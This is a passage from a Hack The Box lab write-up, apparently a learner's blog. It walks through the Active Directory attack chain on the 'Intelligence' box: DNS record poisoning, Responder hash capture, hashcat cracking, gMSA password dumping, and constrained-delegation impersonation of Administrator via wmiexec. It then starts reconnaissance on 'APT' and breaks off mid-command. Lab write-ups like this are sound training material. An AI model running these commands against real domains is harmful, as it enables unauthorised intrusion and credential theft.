a request to each target using the default credentials. If the response status isn&amp;rsquo;t 200, it sends an email from &lt;a class="link" href="mailto:Ted.Graves@intelligence.htb" &gt;Ted.Graves@intelligence.htb&lt;/a&gt; to &lt;a class="link" href="mailto:Ted.Graves@intelligence.htb" &gt;Ted.Graves@intelligence.htb&lt;/a&gt; saying that the service at that domain is down.&lt;/p&gt;&#10;&lt;p&gt;When I saw that DNS was involved, I found dnstool.py. It&amp;rsquo;s the only DNS-related PoC I&amp;rsquo;d saved, but the command in my notes didn&amp;rsquo;t work.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0526.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0527.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The message here says I can add, modify, and delete AD-integrated DNS records, but I had no idea how to turn that into an exploit.&lt;/p&gt;&#10;&lt;p&gt;If I change a domain beginning with web to point to my machine and make its request fail, it will only send an email to itself. I can even see exactly how the email is constructed, so tampering with the domain doesn&amp;rsquo;t seem particularly useful to me.&lt;/p&gt;&#10;&lt;p&gt;I went back to reading the PowerShell.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$request = Invoke-WebRequest -Uri &amp;#34;http://$($record.Name)&amp;#34; -UseDefaultCredentials&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;It sends a request to the target to check whether it&amp;rsquo;s alive, using the default credentials. What I couldn&amp;rsquo;t understand was why the request URL needed default credentials. Then it suddenly started to make sense: when accessing resources within a domain, credentials must be sent or the server returns a 401 asking for authentication. That&amp;rsquo;s why the -UseDefaultCredentials parameter is there. If we tamper with a domain in the DNS records, the target will send its request to us, allowing us to capture an NTLM or Kerberos credential hash and crack it.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.praetorian.com/blog/unconstrained-delegation-active-directory/" target="_blank" rel="noopener"&#10; &gt;https://www.praetorian.com/blog/unconstrained-delegation-active-directory/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I found the method for adding a record in this blog post.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0528.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But even after putting the command together, it still threw an error. Building the command from scratch was a little beyond me. Modifying an existing command wasn&amp;rsquo;t easy either, but at least there was less work and less room for error.&lt;/p&gt;&#10;&lt;p&gt;I started reading the command documentation at &lt;a class="link" href="https://github.com/dirkjanm/krbrelayx" target="_blank" rel="noopener"&#10; &gt;https://github.com/dirkjanm/krbrelayx&lt;/a&gt;. After making some changes, the record was added successfully.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 dnstool.py ldap://10.10.10.248:389 -u &amp;#39;intelligence.htb\Tiffany.Molina&amp;#39; -p &amp;#39;NewIntelligenceCorpUser9876&amp;#39; -r webtest.intelligence.htb -a add -t A -d 10.10.16.14&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0529.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But after waiting forever, nothing happened. I kept reading the parameters and compared my command with the original one.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 dnstool.py -u &amp;#39;intelligence.htb\Tiffany.Molina&amp;#39; -p &amp;#39;NewIntelligenceCorpUser9876&amp;#39; -r webtest.intelligence.htb -a add -t A -d 10.10.16.14 10.10.10.248&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Maybe I shouldn&amp;rsquo;t have added the LDAP port. I simply put the IP at the end instead.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0530.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This time it worked without any errors.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0531.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It turns out a valid record has an IP after it. The one above came from my earlier command and has no IP, which probably means it wasn&amp;rsquo;t actually created successfully. I wasn&amp;rsquo;t sure whether having two identical domain names, one with an IP and one without, would cause an error, so I created another domain beginning with web.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0532.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I received the request, but why weren&amp;rsquo;t there any credentials? Maybe this wasn&amp;rsquo;t a real HTTP service. I tried starting a Flask server, and it could receive the request.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0533.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Still no credentials. I tried Wireshark too, but that didn&amp;rsquo;t help at all.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0534.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;At this point I was truly out of ideas. I glanced at the write-up, which mentioned a tool called Responder, so I started looking up how to use it.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;responder -I tun0&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[HTTP] NTLMv2 Client : 10.10.10.248&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[HTTP] NTLMv2 Username : intelligence\Ted.Graves&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[HTTP] NTLMv2 Hash : Ted.Graves::intelligence:3b267a46c774400f:A842C01024C9E8EA01810E4BEE6A41F4:0101000000000000EC36E0307347DB010E813ACCADA649140000000002000800390045003800390001001E00570049004E002D005A004A004500570048003400470041003400540038000400140039004500380039002E004C004F00430041004C0003003400570049004E002D005A004A004500570048003400470041003400540038002E0039004500380039002E004C004F00430041004C000500140039004500380039002E004C004F00430041004C000800300030000000000000000000000000200000583346B9E2E4E1103C4197AA4C60C45E679C02E8DE8EC1AA5F81F4BAA6624FBB0A0010000000000000000000000000000000000009003A0048005400540050002F0077006500620074006500730074002E0069006E00740065006C006C006900670065006E00630065002E006800740062000000000000000000&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[*] Skipping previously captured hash for intelligence\Ted.Graves&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;NTLMv2 uses mode 5600, so I can call it directly.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hashcat -m 5600 1.txt /usr/share/wordlists/rockyou.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Ted.Graves:Mr.Teddy&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0535.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problem there. Logging in directly was completely impossible, so I&amp;rsquo;ll use BloodHound to collect data remotely. I tried with the previous account, but it threw an error. Let&amp;rsquo;s see whether this account works.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0536.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I searched Google and found that my parameters seemed to be wrong. I&amp;rsquo;d already identified the DC name as DC during recon, but it still gave me an error.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://blog.csdn.net/gitblog_00797/article/details/142076858" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/gitblog_00797/article/details/142076858&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;The payload in this post uses -ns to point to the DNS server.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bloodhound-python -d intelligence.htb -u Ted.Graves -p Mr.Teddy -ns 10.10.10.248 -c all&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;After analyzing the results, I found two interesting points.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0537.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The current user is in the administrator group, but UAC restrictions mean commands run with the current user&amp;rsquo;s privileges by default. To get administrator privileges, I would need to run one of the following commands from the command line.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;runas /user:administrator cmd.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;psexec -i -s cmd.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Start-Process cmd.exe -Verb RunAs&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The prerequisite is having a shell, so this path is a dead end.&lt;/p&gt;&#10;&lt;p&gt;The second point was a constrained-delegation service account named SVC_INT$.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0538.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I can use it to forge an administrator ST for a specific service. Now the path forward is clear.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0539.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0540.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;For some reason, I couldn&amp;rsquo;t retrieve its hash. I looked more closely at the graph and found a second edge.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0541.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had no idea what this was. After searching Google, I found this post: &lt;a class="link" href="https://www.thehacker.recipes/ad/movement/dacl/readgmsapassword" target="_blank" rel="noopener"&#10; &gt;https://www.thehacker.recipes/ad/movement/dacl/readgmsapassword&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0542.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python gMSADumper.py -u Ted.Graves -p Mr.Teddy -d intelligence.htb&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Users or groups who can read password for svc_int$:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;gt; DC$&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;gt; itsupport&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svc_int$:::8ee3b94d589dba78682293e1281bd394&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svc_int$:aes256-cts-hmac-sha1-96:ba3ed0df6c5352e26ba7611354f901c89554733bab88094e8afbaca7368b3a80&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svc_int$:aes128-cts-hmac-sha1-96:ab353763ac9cd6431a09819326a4daee&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I paused here to understand how this method works.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0543.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Following this logic:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0544.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Only members of the &lt;a class="link" href="mailto:ITSUPPORT@INTELLIGENCE.HTB" &gt;ITSUPPORT@INTELLIGENCE.HTB&lt;/a&gt; group can use GMSA to retrieve the svc password. At first glance, the current user doesn&amp;rsquo;t have membership in that group.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0545.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;At least, that&amp;rsquo;s what this page shows. I searched again.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0546.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There we go—the user is indeed a member of that group. It just wasn&amp;rsquo;t displayed earlier, which is why this works.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntpdate -u intelligence.htb &amp;amp;&amp;amp; date&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;getST.py -hashes :8ee3b94d589dba78682293e1281bd394 -spn cifs/intelligence.htb -dc-ip 10.10.10.248 -impersonate Administrator intelligence.htb/SVC_INT&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;For some reason, this kept throwing an error. After thinking about it for a while, I realized constrained delegation should apply to one specific service, rather than whichever service I happen to want. I still needed to find the right one.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0547.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Found it.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntpdate -u intelligence.htb &amp;amp;&amp;amp; date&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;getST.py -hashes :8ee3b94d589dba78682293e1281bd394 -spn WWW/dc.intelligence.htb -dc-ip 10.10.10.248 -impersonate Administrator intelligence.htb/SVC_INT&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0548.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That worked. Following the constrained-delegation tutorial, I first set the environment variable.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;export KRB5CCNAME=Administrator@WWW_dc.intelligence.htb@INTELLIGENCE.HTB.ccache&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/share/doc/python3-impacket/examples/wmiexec.py intelligence.htb/administrator@dc.intelligence.htb -k -no-pass&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0549.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;This box took me longer than any other box I&amp;rsquo;ve worked on recently. I kept running into new concepts along the way, and by the end my head was spinning. I even slept for a while in the middle of it, and I had to check the write-up twice. If all the previous boxes taught the basic domain-controller penetration-testing workflow, this one brought all those earlier techniques together. It kept catching me off guard. While trying to reason through the attack chain, I was constantly testing ideas, making mistakes, and figuring out what had gone wrong. I have to say, this blog post has been a huge help during my recent study of domain penetration testing and serves as a great summary: &lt;a class="link" href="https://0range-x.github.io/2022/01/26/Domain-penetration_one-stop/" target="_blank" rel="noopener"&#10; &gt;https://0range-x.github.io/2022/01/26/Domain-penetration_one-stop/&lt;/a&gt;. It only gives each topic a brief mention, but once you have an entry point, it&amp;rsquo;s easy to branch out by looking up the tools and services in more detail and learning how to exploit them. It covers every technique used above, and when I first started learning, I followed this exact process too.&lt;/p&gt;&#10;&lt;h2 id="20apt"&gt;&lt;a href="#20apt" class="header-anchor"&gt;&lt;/a&gt;20.APT&#10;&lt;/h2&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0550.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;As you can see, the difficulty is extremely high.&lt;/p&gt;&#10;&lt;p&gt;Reconnaissance:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0551.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0552.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0553.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0554.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Two names, I guess:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;W3layouts&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;HTTrack&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This site is using someone else&amp;rsquo;s template, and it says so explicitly. I needed to figure out which template it was. If there was no backend, that would mean there was no point spending more effort here. If a backend did exist, I could simply try downloading the source. Unfortunately, I couldn&amp;rsquo;t find one. I also tried JSFinder to look for any possible URLs, but it came back with nothing. In other words, this is a purely frontend website. There may still be something hidden, but directory brute-forcing is the only way to find it.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python /home/kali/hackthebox/JSFinder-master/JSFinder.py -u http://10.10.10.213/ -d -j&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span 